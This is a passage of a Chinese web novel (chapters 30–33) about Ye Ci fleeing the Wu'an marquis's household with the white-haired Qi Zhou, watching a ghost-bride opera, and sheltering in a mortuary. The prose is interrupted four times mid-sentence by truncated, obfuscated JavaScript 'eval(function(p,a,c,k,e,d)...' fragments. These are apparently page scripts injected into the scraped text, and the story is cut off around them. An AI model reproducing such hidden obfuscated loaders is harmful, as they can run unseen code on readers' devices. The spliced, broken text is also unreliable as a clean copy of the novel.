他自觉从前亏欠叶慈良多,如今终于苦尽甘来,只想为她办一场真正的婚礼,明媒正娶、八抬大轿地抬她进门,却不料,那爱往别人府里塞美人儿的,实在是个不可多得的碎嘴子,不过一日,赵明予的“多情”之名便传遍京城,连皇宫内院都议论起来。 又过两日,武安侯府中众人亦得了消息。 一曰,小侯爷突然在加冠礼上如有神助一般恢复了神智。 二曰,小侯爷昭告天下,说自己与院子里的农妇之间不过儿戏,做不得数。 后院里看叶慈不顺眼的那批人直接炸开了锅,她们只觉得叶慈被休不过是时间的问题,便越发不把她当回事,甚至有些人觉得应该尽快把她扫地出门,以免影响小侯爷迎娶新妇。 众人觉得仇嬷嬷向来与叶慈不对付,应当也是这么想的,却迟迟不见如今掌管后院琐事的仇嬷嬷有所动作。 她自然无法有所动作,只因赵明予深得圣宠又恢复神智的消息早传遍了茌宁,武安侯府的门槛都快被送礼的踏破了。她忙着为赵明予在这边打理公事,自然顾不上内院这些鸡毛蒜皮的小事,只叮嘱了武婢们要将叶慈看严实了——孰轻孰重,她还是分得清的,如今叶慈即便跑了,凭她一人之力,就算到处说害死老侯爷的是赵明予,大概也没人会相信,根本无法撼动赵明予的地位分毫。 武婢们则巴不得叶慈赶紧离开,经李婆子一事,她们早就看不惯这位“飞扬跋扈”的侯夫人了,每日里只顾着说叶慈闲话、给她难堪,哪顾得上看管之事。 于是,眼见着日盼夜盼的契机终于出现,叶慈事先以“变卖”为由,托人将千钧剑带出城去当了,想着日后再寻机会赎回来,当晚便趁着芳语燕声不注意,收拾细软,翻墙出了侯府。 侯府侍卫们毕竟还不是吃素的,值夜侍卫见墙上黑影飞过,还以为是有飞贼夜闯侯府,当即带一队人马追了上去。 武安侯府如今风头正盛,县衙哪敢拦着,于是叶慈一人在前面跑,一队人在后面追,她从没有哪一刻如此渴望自己的轻功能突然大有进境。 她正在树影之间翻腾,身后追兵愈来愈近,急得她在凉夜里出了一身热汗。 若是错过了这次机会,惊动了仇嬷嬷,下次再想逃跑可就难了。 她这样想着,心中越来越焦急,连脚下步伐乱了都不知道,突然,她感觉身子一轻,腰间一紧,竟是直接被人拦腰扛了起来。 “谁……唔……”她刚想叫,就被捂住了嘴。 “死孩子,逃跑都跑不利索。嘘,这便不认识我了?” 这声音听着耳熟,风一吹,将这人发丝扬起,叶慈看着眼前飘逸的白发,脑海中浮现了一个名字—— “祁昼前辈?” 30. 第三十章 侯府的护卫追着追着,前面的黑影突然如鬼魅一般消失了,众人在附近搜寻许久都不见人影,便收队回了侯府。 侯府如今在茌宁,甚至整个大允都如日中天,只要不是欺男霸女的事,都没人敢置喙,但仇嬷嬷吩咐过,切不能做落人话柄的事,因此守卫们若真要抓贼还好说,可眼下连个贼的影子都没看到,若是大张旗鼓地搜,恐怕会惹得百姓不满。 三人成虎,众口铄金,因着老侯爷死得蹊跷,小侯爷也落了不少非议,再加上孟临仍在暗处窥伺,仇嬷嬷是个明白事的人,自然不能给他任何做文章的机会。 侯府侍卫们做梦都想不到翻墙逃跑的这人会是他家夫人,而叶慈逃走的时候动作又甚是小心,完全没有惊动困得小鸡啄米一般点头的芳语和燕声,因此直到次日白天,众人才发现叶慈不见了的事情,而此时,在祁昼的帮助下,叶慈早出了茌宁城门,离侯府更是十万八千里远了。 燕声见日上三竿了叶慈还没动静,开始还以为她这是偶尔贪睡,但直到中午,房里还没有丝毫动静,便大着胆子敲了敲门。 房里一片寂静,完全没人回应。 恰巧芳语此时回来了,她去后厨领了些食材,免不了又被那些丫鬟婆子刻薄一番,心情自是不太好,回来便向燕声发牢骚道:“真是太欺负人了,我们夫人好歹也是世子……侯爷明媒正娶的正牌夫人,她们怎么敢把人欺负到这份上来?明明都是份例,让她们搞得,夫人连口肉都快吃不上了。诶,燕声,你听说了吗,昨晚府里好像遭贼了,你说不会是那些人污了东西监守自盗吧?” “府里遭贼了?”燕声奇道,“如今侯府正得势,谁敢偷东西偷到小侯爷头上,莫不是吃了什么熊心豹子胆了?” “是啊!”芳语道,“而且我听说这事情诡异得很,那些侍卫一直快追到城门,眼见都要抓住了,那贼却突然没了影子,你说怪吧?诶,夫人还没起来吗?” 燕声摇了摇头:“我也正奇怪呢,平常夫人这时间早起来练功了,怎么今日却这样迟,都快中午了,我刚敲门也不见动静……” 她说罢,好像想到了什么,和芳语对视一眼,同时在对方眼中看到了一样的惊恐。 二人顾不了那许多了,直接一把推开房门,只见房中摆设皆如昨日,只是叶慈的一些随身物品却不知所踪。 芳语心下大惊,直接走到叶慈床前掀开了床铺,只见本该躺在床上的叶慈没了踪影,取而代之的是一块茱萸纹锦枕头,她膝下一软,险些跪了下去。 “快,快去禀报仇嬷嬷……夫人失踪了!” 仇嬷嬷暂时放下其他琐事,来到叶慈房间时,看到的便是这幅场景—— 芳语和燕声鹌鹑一般立在墙角,屋里比她上次来时空了不少,只不过少的全是叶慈自己的东西,侯府的金银细软,她一概没拿走。 她走进屋里,扫视一圈,看到书桌上有一封用镇纸压着的信,其上并未署名,也没有题目,她拿起来拆开,将里面的信纸取出来,看到上面只有一行字—— “我走了,赵明予自可另娶他人,不要为难芳语燕声。” 虽没有落款,但写这信的人是谁也不难猜,她抬眼看向两个丫鬟,那两人立马膝盖一弯跪了下去。 “把这两人押下去,屋子里的东西一概不许动,等侯爷回来再做处置。” 武婢们纷纷应是,将抖成筛糠的芳语和燕声带了下去。 仇嬷嬷的想法和叶慈想得差不多,事到如今,她不会再费心费力地把叶慈找回来,因为凭武安侯府如今的地位,就算叶慈在外面乱说,也没有人会相信她,但是侯夫人从府中逃跑这件事说到底还是不怎么光彩,因此她下令现将芳语和燕声两个贴身丫鬟控制起来,其他的等赵明予回来再做决定。 反正她本也没打算继续让叶慈做这个侯府夫人。 虽说如果抛开恩怨,她其实对叶慈印象不错,但是如今她和赵明予已经完成了计划的第一步,接下来的事情,叶慈起不到丝毫助力的作用,而赵明予身为武安侯,需要的是一个能帮他巩固地位的妻子。 这是非常理性实际的考量,只可惜赵明予本人却仍怀着天真想法,总也接受不了。 仇嬷嬷又看了一眼空荡荡的屋子,觉得这也不失为一个好结果,不用她出手,叶慈便自己离开了,这样她也不必再费口舌劝说赵明予了。 然而远在京城的赵明予还对家中发生的事情浑然不觉。 大宴宾客后,他原本只准备在京城处理些后续的琐事,便要启程回茌宁,但自那日他在京中亮相后,城中许多贵女都对他生了心思,即便听说他已有心上人也还要往上生扑的也不在少数,甚至还有人央到了皇上那里去。 赵明予可以不给别人面子,却不能不给皇上面子,因此在他的安排下不得不见了几位贵人小姐,这才启程回家。 他想着,一到家,他便不必再作小儿模样,亦可以与叶慈解释清楚从前的误会,便觉得心情都轻快了几分。 武安侯府车队的声势比来时更加浩荡,赵明予坐在马车上,原本只是百无聊赖地支着头,而后似乎突然想到了什么,将手往座位下面一摸,便摸出一个嵌着金丝的木匣子来。 他用手在上面轻轻一拂,温柔地像拂去爱人额前的碎发,接着将那木盒的盖子掀开,露出里面摆放整齐的三件物什来—— 一截断发,一瓣海棠,一个蓝衣泥人。 他端详片刻,拾起那个泥人,捧在手心把玩了片刻才放回原处,接着又将木匣子收好,放回了座位下面。 他的心情似乎比方才好了许多,一双狐狸眼愉快地眯起来,眼角眉梢都变得轻快了起来。 赵明予掀开帘子,见两边的景色逐渐变得熟悉,问道:“还有多久?” 马车旁的侍卫拱手道:“禀侯爷,慢的话还有两日,若中间不在驿站歇息的话,不到一日便能到了。” “那便不歇息了。”赵明予道,“加紧赶路吧,等到了自然有赏钱。” “是。”侍卫又一拱手,喊道,“侯爷有令,加紧赶路,中途不再歇息,到后重重有赏!” 原本逐渐变得松散的脚步声又一次变得整齐有力起来,赵明予听到,眼底露出满意的神色,这才放下帘子。 旁人以为侯爷星夜兼程赶回侯府定有要事,只有赵明予自己知道,他的要事,其实不过是一个人而已。 这次回京,皇帝赏赐了不少宝物,权贵们见风使舵,也见缝插针地塞了点,因此武安侯府的车队其实并不轻快,赵明予已经是轻装简行先行上路,却不得不把皇帝的赏赐亲自带着,以免犯下不敬之罪,因此即便日夜不休,以最快的速度赶路,等到侯府时,也已经是第二日傍晚了。 仇嬷嬷得了消息,早早等在府门口,见赵明予下车来,便迎上去,向他行了礼。 “小侯爷还真是和从前判若两人了。” “是啊,虽然长相没变,但神态气度全都不一样的,看着更玉树临风了,看来从今以后茌宁城里‘美男’的称号不会再被曾公子独占鳌头了。” 两个丫鬟还当赵明予是从前的赵明予,听不见她们嚼舌根,大着胆子在后面议论起来,仇嬷嬷一个警告的眼神,二人便闭了嘴。 “嬷嬷,府中可都无事?” 二人一边往里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……罢了,你若真想好了,我也拦不住你。”她呆愣许久,半晌,才深深叹了口气,转身离开,似乎连背脊都佝偻了几分。 赵明予并没有阻拦,他独自立在院子里,看着院中熟悉的一草一木,只觉得眼前似乎又浮现叶慈在其中练武嬉闹的场景。 他在圆桌前的石凳上坐了下来,秋风拂过,吹落了一片枯叶,赵明予看着,却恍然未觉。 天色转黑,月亮高挂又落下,直至晨光熹微,赵明予一直坐在那里,仿佛一座雕像,任外衫结了一层夜露也一动不动。 此处离侯府围墙不远,街上的声音不时能传过来,直至晨光熹微时,不知哪家戏子忽然练起了嗓,咿咿呀呀地唱起了戏—— “浮生事,苦海舟,荡去飘来不自由……(1)” 那唱戏的只来得及唱这一句,便被侯府侍卫赶走了,但这一句戏腔却仿佛将赵明予从梦中惊醒了。 他猛地站了起来,向外走去。 “侯爷这是去哪?”有个小厮候在门口,见他出来,殷勤地问道。 赵明予答非所问:“告诉仇嬷嬷,料理好府中事务,我要去找她。” 那唱戏的刚被赶走,又换了个地方,重新扯着嗓子唱了起来,音调婉转哀怨,尾音拉得好像用指甲在墙上挠,让人心烦意乱的。 “肯回首,是岸头,莫待风波坏了舟——” 31. 第三十一章 “肯回首,是岸头,莫待风波坏了舟——” 百转千回的戏腔乘着风声飘到叶慈耳朵里,这戏词似乎有些难度,戏子唱到最后一个字时破了音,一个音劈成了两半,一半被咽回肚子里,另一半像是被人踩了尾巴的凄厉老二胡,窜天猴一样炸在了叶慈耳朵里,刺得她缩了缩脖子。 祁昼将她拦腰扛在肩上,感受到她的动作,像是有心逗一逗她,说:“最近这出戏在北边可流行了,到处都在唱,这不,连这学艺不精的都非要来掺和上一脚,可不得闹个笑话。” “前辈,你们缁带教平时都这么闲的吗?”叶慈真心发问。 “什么?你问这出戏到底讲的什么?” 叶慈:“……” 试问这两句话哪怕有一个字发音相似呢? 祁昼却根本不理会她的无语,只是自顾自地问道:“你可知道大允朝开国皇帝在起义之前是做什么的?” 叶慈摇摇头。 祁昼虽没看到她的动作却好像预料到了她的回答,小声说了一句:“我就知道那个大老粗肯定不会给你讲这些。” 他边说边运起轻功,鞋底踏过石子路,响起一阵窸窣声,叶慈没听清,问:“前辈说什么?” “没什么。”祁昼也没给她追问的机会,继续说道:“这太祖皇帝生在中原与楚狄的交界之处,那时中原国力式微,整日受北方外族侵扰,受苦最多的,便是边境的百姓。那时的太祖皇帝并非天潢贵胄,只是个普通农民,唯一特殊之处,便是有一家传健身武功。” “他最初只是与自己家里人一起练,后来有村民自发加入,他也不吝啬,于是这些练武强身的人逐渐壮大,成了一支自卫军,那时前朝朝廷懦弱昏庸,根本无法保护百姓,他便干脆揭竿而起,自立为王,改号为‘允’,先是将楚狄族打回了老巢,又逐步南下,覆灭前朝,建立了新朝。” “战事持续了十余年,打到最后,兵马皆疲,太祖皇帝不得不向各路人马借兵,为巩固统治,这些人在开国后全部被赐国姓‘刘’,只留下武安侯这一支为异姓侯,只因武安侯受皇命监察武林,而武林本就由百家百姓组成,不是朝廷的一言堂。”祁昼说完,颇有些调笑地拍了拍叶慈的屁|股,“说起来你这夫家的祖宗,倒还有几分血性。” 叶慈不满他口中的“夫家”二字,气愤地挣扎两下,徒劳,又不知该怎么还嘴,只好愤恨地去掐祁昼腰间软肉,只是手刚伸出去,这人却好像背后长了眼睛,准确地一把抓住她作乱的手,道:“老实点。” “呸。”叶慈啐道,“为老不尊。” 先前与赵明予一起在茅屋后的山坡下撞见祁昼时,叶慈便发现这人格外无法忍受别人说他“老”,于是刚被劫走时便总是用这个字眼激他,谁料这些时日下来,却不见他发作一次,叶慈的胆子便越发大了,不时便会用各种带“老”的词语刺他一刺。 祁昼果然不以为意,继续说:“这赵家祖上是开国功臣,原是江湖人,见民生多艰就参了军,因着剑法超群,可于百里外取贼将首级,不过一年便一路升迁到了将领。等到开国后局势稳定下来,不再需要打仗,他又不习惯朝堂规矩,且与江湖人多有联系,太祖皇帝便设立武安侯,命其管理江湖人。” “说起来,这赵家选拔袭爵人选的规矩也是新奇得很,不看嫡庶,无分长幼,只看功夫,赵渊身为庶子,当时便是这么当上的武安侯。只不过到了你夫君这一代,除了他也没别的人选了。” 叶慈闻言,只觉得祁昼似乎对这些江湖往事知之甚多,便试探问道:“前辈,当年武安侯府被灭门,到底是怎么一回事,你知道吗?” “……”祁昼蓦地闭了嘴,气氛一时有些凝滞,半晌才反问道,“江湖上都说是前盟主阮流逸走火入魔灭了赵家满门,你信吗?” 叶慈迟疑道:“虽然大家都这么说,但仔细推敲,总觉得其中有许多疑点……” 不知怎的,叶慈觉得祁昼闻言,心情似乎又好了起来:“嗯,再过些时日,你会知道的。” 叶慈听得满头雾水:“前辈所言何意?” 祁昼却不肯再说了,脚下运着轻功的步伐也慢了起来,叶慈环顾四周,只见祁昼落在了一处屋顶,屋旁的街上到处挂满了红绸,屋栏上倚着许多穿红戴绿的莺燕们,整条街都衣香鬓影。 叶慈脸腾地一下红了:“这是花街!” 楼下的窑姐儿听见屋顶上的动静,回头看过来,却似乎并不惊讶,大概是见惯了随性洒脱的江湖儿女,甚至还冲他们挥了下手绢,媚眼如丝地看过来:“哟,又来了两个武林人,可别把屋□□塌了。” 叶慈的耳根都红透了,祁昼见状,一个闪身挡在她前面,道:“不劳费心了。” 楼下又传来一声调戏:“小郎君长得倒是俊俏,不知有没有兴致……” 她话未说完,祁昼已经再次扛起叶慈,脚下一踏,身子便腾空了。 “走这么急干嘛啊……”窑姐儿的声音渐小,后面的话逐渐听不清了。 叶慈咬牙切齿地问:“你带我来这干嘛?” 祁昼这些时日带她漫无目的地辗转各地,不仅没有对她不利,还在各个方面都对她多有照顾,叶慈也渐渐放下心防,却没想到这人居然带她来这种不正经的地方?! 祁昼调笑的声音顺着风传来:“你想哪去了?你刚不是说好奇那出戏讲的什么?我这不是带你来看吗?” 叶慈:“……” 她到底几时说过了??? “所以你刚才说的那些和这出戏的内容有什么关系?”叶慈问。 “看了你就知道了。” 梨园行当也属于下九流,因此亦居于花街柳巷,只有演出或有贵人召唤时才会出去,此时仍在上午,戏班子应该还在练早功,所以祁昼将她带到这里来看戏也说得过去。 但是人家凭什么专门给他俩演一出啊? 叶慈正想着,一天十二个时辰里有十个时辰都在天上飞的缁带教护法终于扛着她落了地,叶慈双脚落地,四处观察了一番,便确信他们确实来到了戏班子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶慈面无表情道:“前辈真是老当益壮。” 正说着,乐声已然响了起来,一个身穿戏服的人上了场,若是懂行的便能看出这人步伐神态皆体现出这些年的功底,但奈何叶慈是个吃不了细糠的山猪,她从小在山村里长大,哪里听过这些,不仅听不懂这些唱念做打,连此人是个男角色也只能勉强辨认出来。 更何况这戏词本就拗口,在台上人口中又唱得咿咿呀呀的,快时飞快,慢时又半晌才唱一个字,那男的唱了半天,叶慈才勉强听出来,这主角竟是个盗墓贼。 她正觉得奇怪,音乐却陡然变缓,透出几分诡异的气息,就在这种气氛下,女主角缓缓从后台转了出来。 她与叶慈印象中其他戏里的女主角不同,一出场便穿了一身血红的嫁衣,盖头上亦有血渍,她步伐轻巧,好像没有腿似的围着一动也不敢动的盗墓贼转了一圈,忽然衣袂无风自动,不知怎么的,盖头便径直从她头上落了下来。 待看清她的脸后,饶是叶慈根本没看懂剧情,也不禁屏住了呼吸—— 她脸上一半青白,一半腐烂地只剩下了骨头,眼眶处还挂着几块腐肉,分明是个鬼新娘。 32. 第三十二章 盗墓贼吓得跌坐在地,连滚带爬地想要逃走,鬼新娘却不如他的意,不论他朝哪个方向逃跑,她都能准确地出现在那里。 叶慈不知道戏班子是用了什么方法,才能画出如此逼真的妆容,她天生胆子大,从前在山里有时晚上和祁涟一起看些什么山野精怪的话本子,祁涟被吓得不行,她仍然面不改色,而此刻这戏情节诡异,连音乐都透着一股子怪异的味道,饶是叶慈看了也不禁有些害怕。 “这戏讲的是什么?”叶慈忍不住低声问道。 祁昼勾了勾嘴角,笑得比台上的鬼新娘更像某种山精鬼魅,他压低了声音,在叶慈耳边道:“大允刚建朝时,因着连年战乱,有些地方穷得人吃人,因此盗墓的行当也并不罕见,这戏里的主角就是干这个的。” 叶慈似懂非懂地点点头:“他这是碰上粽子了?” 祁昼似乎嗔怪地看了她一眼,好像在质问她究竟有没有在认真看,但还是开口解释道:“楚狄族野蛮,战乱时,有时若守不住城,就干脆屠了,许多百姓尸骨无处可葬,便堆放在一处,成了乱葬岗,这些人里也不光只有穷人,在乱世中,除了真正的权贵,大部分人在生死面前,都只有一个选择。” “贵族的墓自有有权有势的人去盗,这些小贼,便只能来乱葬岗碰碰运气,这主角运气说好也不好,说坏也不坏,这不,虽没淘着东西,但却遇上了机缘。” 此世虽谈不上盛世,但比起战乱时,仍是要太平许多的,若非有祁昼解说,别说理解,叶慈几乎无法想象这样“人相食”的事情是真实发生过的,竟一时看得入了迷,祁昼见她神情专注,偏头看了她一会儿,像是很满意地笑了一下,才收回目光。 后面的情节,叶慈虽听不懂,但看台上二人的动作也能将情节猜出大半了。 在这么恐怖的氛围下,盗墓贼和鬼新娘竟然堪称荒诞地演了一段你侬我侬、剪不断理还乱的爱情故事。 叶慈被这剧情惊得瞠目结舌,直到结束了才反应过来。 “怎么样?”祁昼坐在椅子上,从盘子里拈起一块茶点,送到叶慈嘴边。 叶慈咬了一口,但大脑已经无暇顾及茶点的味道,道:“太抽象了,出人意料,出其不意,始料未及,不期而然……唔……” 她话没说完,就又被祁昼塞了一口点心。 “先咽下去再说吧。”那人带着笑意说道。 叶慈嚼了两口,囫囵吞了下去,又喝了口茶水,才道:“怪不得那些王公贵族这么爱看这出戏,写这戏的话本先生是个天才吧?看开头我还以为是个恐怖故事,结果看到后面才发现竟然是个爱情故事……还有点感人呢。” 叶慈想到两个主角因为人鬼殊途不得不生离死别,又补了一句,说完,才想起来转头看向祁昼。 对方眉梢微微翘起,眼角似乎略有得意之色。 又不是夸他,他得意个什么劲? 叶慈正奇怪,却见祁昼迅速地敛了神色,掩唇轻咳道:“你可知,这故事虽然是虚构的,可是这故事发生的地点,却是真实存在的。” 叶慈奇道:“还真有这么个乱葬岗?” 祁昼点头:“自然。方才与你说的那些屠城之事、盗墓之风,都是真实的历史,乱葬岗自然也是真实存在的,只不过这么多年过去,白骨也化成黄土了。” “那这一处可是有什么特殊之处?” 祁昼点点头,眼中浮现出赞许之色:“这出戏中所说的乱葬岗位于川仙府,离其中一个名为泉东村的小村庄不远,这泉东村四面环山,容易聚雨积云,且因地下有泉脉,尸体在湿处向来比在干处腐烂得慢,所以即便到现在,乱葬岗中也有尸体得以不腐,也因此传出了许多民间传说。” 叶慈听到“泉东村”三个字,只觉得甚是耳熟,突然想起当时在狱中时,越千山也向她提过这个地方,便嘴快说道:“似乎此地最近也有闹鬼的传说?” “小丫头消息还挺灵通。”祁昼道,“听说这话本先生,也是听了闹鬼的说法,才得了灵感,创作出的戏文,这出戏我挺喜欢,所以也有意去泉东村探查一番,不知你可有兴趣同往?” 自那日在茌宁将她劫走后,祁昼就一直带着她兜圈子,叶慈问过不止一次要带她去哪,都被祁昼以“先甩开侯府追兵”为由糊弄了过去,如今竟然主动提起,让人总觉得有些怪异。 说起来也巧,那时在狱中听越千山提起,叶慈就打算去看看来着,而如今祁昼竟然也主动提出要去看看,虽然觉得若说这是巧合未免有些牵强,但祁昼这些天不仅真的帮她甩开了侯府的追兵,还对她照顾有加,若有加害之意,根本不必兜这么大的圈子。 何况,她也是真的想去看看,不仅是因为闹鬼之说,更是想再见越千山一面,弄清楚他口中所说的自己的身世。 走出深山前,她对“穿越”这件事无比笃信,可不知为什么,在茅屋大火,以及经历了这一系列的事情之后,叶慈总觉得自己十二岁前在异世界生活的记忆似乎越发模糊了。 不仅如此,血光、剑影,一些仿若梦影般的片段时常在她脑海中一闪而过。 叶慈总觉得,这些或许与越千山口中所说的她的身世有什么关联。 “好,我去。”叶慈应道。 祁昼似乎对她的回答并不意外,起身带她离开了戏班子。 班主已经带着人离开了,没了那些迎来送往的礼数,叶慈反而觉得自在了许多。 “走吧,先带你吃点东西。”话音刚落,祁昼便拦着叶慈的腰飞了出去。 叶慈:“……其实我觉得用走的也可以,而且我也不是不会轻功吧!” 祁昼:“这样比较快。” 祁昼的容貌太出挑,又一头白发,别提多显眼了,尤其在花街这种多事之地,尤其引人注目,他带着叶慈停在此地最豪华的酒楼前,丝毫不在意那些好奇探究的目光,抬脚便迈了进去。 二人落座后,祁昼照例为叶慈倒了杯茶,又将酒楼的招牌菜全点了一遍,才差使小二离开。 “前辈,我们只有两个人,吃得了吗?”叶慈问。 祁昼挑眉:“难得来这种好地方,你就不想尝尝这些招牌菜?” “……” 说实话,是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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天色渐晚,叶慈却觉得四周的环境越发熟悉起来。 “这里是……?” “终于认出来了?”祁昼似乎早想到她会有此反应。 叶慈越发笃定,这正是碧渠村附近。 碧渠村旁有南北两座山,靠南的那座无名荒山,正是叶慈长大的地方,而二人现在脚踩的,是北边那座山。 “翻过这山,便是川仙府了。” 叶慈有些诧异,没想到此行的目的地竟然与自己从小长大的地方离得这么近。 “这泉东村因四面环山所以几乎与世隔绝,你从没听说过也很正常。”祁昼见她诧异,解释道。 叶慈点点头,觉得他说的也有道理,她见太阳已经快要落山了,道:“前辈,那泉东村听着诡异,我有些害怕,我们还是白天再去吧?” “死孩子,你叫我前辈,我怎会让你涉险——看看前面是什么?” 叶慈看向他所说的方向,能模模糊糊分辨出一个屋顶的影子:“我们准备在这里歇脚吗?” “是。”祁昼答道,“这是方圆几十里唯一的房子了,唯一的缺点就是……” 不知怎么的,叶慈觉得他表情似乎有些古怪。 “它是个义庄。” 33. 第三十三章 叶慈看向祁昼,很努力地确认他是不是认真的,可惜却只从他眼中看出了揶揄,没等到一句开玩笑的否认。 “前辈的意思是,我们今晚要住在义庄?” 虽然刚才那句害怕只是为了阻止祁昼今天晚上就夜探泉东村而想到的借口,但是此时此刻,叶慈心里是真有点发毛了。 祁昼轻飘飘地点了下头:“害怕了?” 叶慈:“……嗯。” 祁昼带着她落到那座孤零零的屋子前,难得像个真正的长辈一样抬手揉了下她的头顶:“放心,前辈我在这呢,不管是人是鬼想对你不利,都没门。” 虽说他这么说,但叶慈抬眼看向那间屋子时,还是本能地对走进去并且过夜这件事产生了抗拒。 这处义庄不知是常年无人使用,还是使用的人也并不太在意修缮清扫之类的细枝末节,看起来有些破败,屋檐上已经生了青苔,牌匾上甚至长出了不知名的小草,“义庄”两个大字以白漆写成,早就剥落得不成样子,看起来更加诡异可怖。 祁昼率先抬脚走了进去,叶慈不敢离他太远,也亦步亦趋地跟了进去。 屋内停着三个棺材,棺盖看起来像是受过雨淋,在细微处产生了闪电形状的裂纹。 这里面若是空的还好,但若不是…… 叶慈这样想着,把自己缩到了角落里,蹲坐下去,几乎蜷成了一团,祁昼见不得她这副好像流浪小动物的样子,轻盈地跃到房梁上,似乎是确认屋内确实安全后在房梁上横卧下来。 叶慈似乎刚想说什么,一件外衫便从天而降砸到她脸上,同时响起的还有祁昼的声音:“干净的,披着睡会儿吧,这方圆几十里只有这一处能歇脚,凑合一晚上吧。” 叶慈不语,默默地披上衣服,觉得似乎安心了一点。 义庄的门不知去哪了,月光从屋外洒进来,像给地面镀了一层银霜。黑暗中,叶慈感觉身上有些麻,便伸出手去够月光,凉凉的,像水。 屋子里太|安静了,以至于衣物摩擦窸窸窣窣的声音都能听得一清二楚,祁昼大概是感受到了她的动作,问:“睡不着?” 叶慈轻轻“嗯”了一声,她好像难得这么脆弱,连声音都变轻了,像月光一样。 祁昼从房梁上看下来,只能看到叶慈的半张脸,只见她眉心一颗红痣,在月光下,仿佛一座石头雕的神女像,好像不应出现在这里,而应该出现在神龛中。 她突然望过来,那双杏眼不再低垂,全部暴露在他的视线中,才让他感觉又看到了那个熟悉的叶慈。 “前辈。”她脸上没什么表情,因此说这话时,便显得有些咄咄逼人似的,“你到底为什么帮我甩掉侯府的追兵,又对我这么好?” 祁昼一哽,他本能地躲开叶慈的目光,语速比平时要快一些,答道:“请你吃几顿饭,就是对你好了?” 窸窣声再次响了起来,他知道,那是叶慈在摇头:“不一样,前辈你对我的关心,不像假的。” 祁昼从没遇到过说话这么直接的人,平日里只有他调笑别人的人,而此刻在黑暗中,他却莫名红了耳根。 “前辈,你是不是知道我的身世?”叶慈又追问。 “……”祁昼沉默了好半晌,那道目光如炬火一般落在他身上,让他难得有种如芒在背的感觉。 不知过了多久,他点点头,张了张嘴,似乎要说什么。 然而就在这时,屋内不知何处突然传来一声闷响—— “咚。” 那声音不大,却让叶慈登时汗毛倒竖,血液逆流,手脚都浸在冰里一样凉透了,却在一瞬间出了一身的冷汗。 “前辈……你听到了吗……” 她声音轻得几乎听不见了,祁昼却仍然淡定,他朝其中一个棺材抬了抬下巴:“那里面有呼吸声。” “你早就发现了?” 叶慈诧异地看过来,却见他只是面无表情地点点头,仿佛二人在谈论的不过是一件微不足道的小事。 半夜、义庄、第三个人,不,应该说是活物,这三者放在一起,够话本先生写上十个恐怖故事了吧! “嗯。”祁昼答道,他尾音微微向上扬起,似乎觉得叶慈惊慌的模样很是有趣,支着头欣赏了片刻,才开口解释,“此人并未刻意隐藏呼吸,因此并不难察觉。” “人?”叶慈问道,“你怎么知道他是人?” 祁昼好像觉得她的话很好笑,从房梁上飞身而下,双指并拢轻轻敲了下叶慈的头:“死孩子,少看些神啊鬼的东西,这世上哪有那些东西。” 叶慈:“……今天早上那出《摸金媒》好像是某人带我去看的吧……” “咳……”祁昼摸了摸鼻尖,“总之,有我在,你不必害怕。” 他说完,反手拍出一掌,直接将那发出怪声的棺材上的棺盖给震飞了。 叶慈惊讶于他身后的内力,只觉得虽然这人平日里没个正形,但毕竟是名副其实、名震江湖的缁带教护法,拥有此等实力,也不算夸张。 一声尖叫将她的神思唤了回来。 “别……别杀我!大侠饶命!” 叶慈觉得这声音听着很有几分耳熟,还没来得及分辨,便见祁昼飞身上前,拎着那人的后衣领,便像拎小鸡仔一般将人从棺材里拎了出来。 “就这点本事,还好意思在我面前装神弄鬼?”他探了探那人的脉,发现对方全无内息,顿时兴趣缺缺,一把将人扔到了地上。 那人一袭青衣,看体型是男的,但状似柔弱,一只手撑在地上小声啜泣,叶慈看着这场景,脑中不合时宜地浮现出一个词—— 弱柳扶风。 她不习惯在弱者面前逞威风,感觉有些不自在,便蹲下与他平视:“为什么要装鬼吓人?” 那人抹了抹眼泪,白皙的脸上立刻出现了两道脏兮兮的痕迹:“我……我没有,我不是故意吓人的……” 他边说边看过来,露出了一双水波潋滟的眼睛,二人对视的瞬间一同愣住了。 “小涟?” “慈姐姐?” 在看清对方面容的那刻,两人不约而同地惊呼出声。 “真的是你!” 祁涟猛地扑进了叶慈怀里,不多时,叶慈便觉得自己小腹处传来濡湿的感觉,也不知道他哭了多久,才被终于看不下去的祁昼用一根不知从哪找来的木棍挑开。 “慈姐姐,这个糟老头是谁?” 叶慈:“……” 天知道她憋得多使劲才没笑出来。 祁昼额角的青筋似乎隐隐跳了两下,他咬牙切齿道:“你是不是应该先解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他将祁涟上下打量了一遍:“半点武功没有,还吃不得苦,这么娇气,怕不是给你带了个童养夫,而是带了个活爹吧。” 祁涟本还想反驳,听到“童养夫”三个字脸登时红了,嗫嚅半天也没说出一个字来,叶慈却义正言辞地反驳道:“小涟是我小时候在山上捡的,虽没有血缘关系,但我早已把他视作亲弟弟,前辈,既然遇到了,我就不能不管他。” “……” “随你。”祁昼拂袖而去。 姐弟俩好容易重逢,又说了些话,如今确认祁涟还活着,叶慈也更加确认乔二一定也没死。 “可是二叔若是没事,为什么不去侯府找你呢?”祁涟眨巴着大眼睛问道。 叶慈摇了摇头,这确实也是她一直想不通的,她刚想开口为乔二随便找个理由,便听到房梁上传来一声压着声音的厉喝—— “噤声!” 叶慈立马闭了嘴,祁涟也吓得缩进她怀里,二人安静下来,这才听到不远处的响动。 那是脚步声,应该不止一人,或者说,连叶慈这种初学功夫的人都能听出来,那应该是很多人。 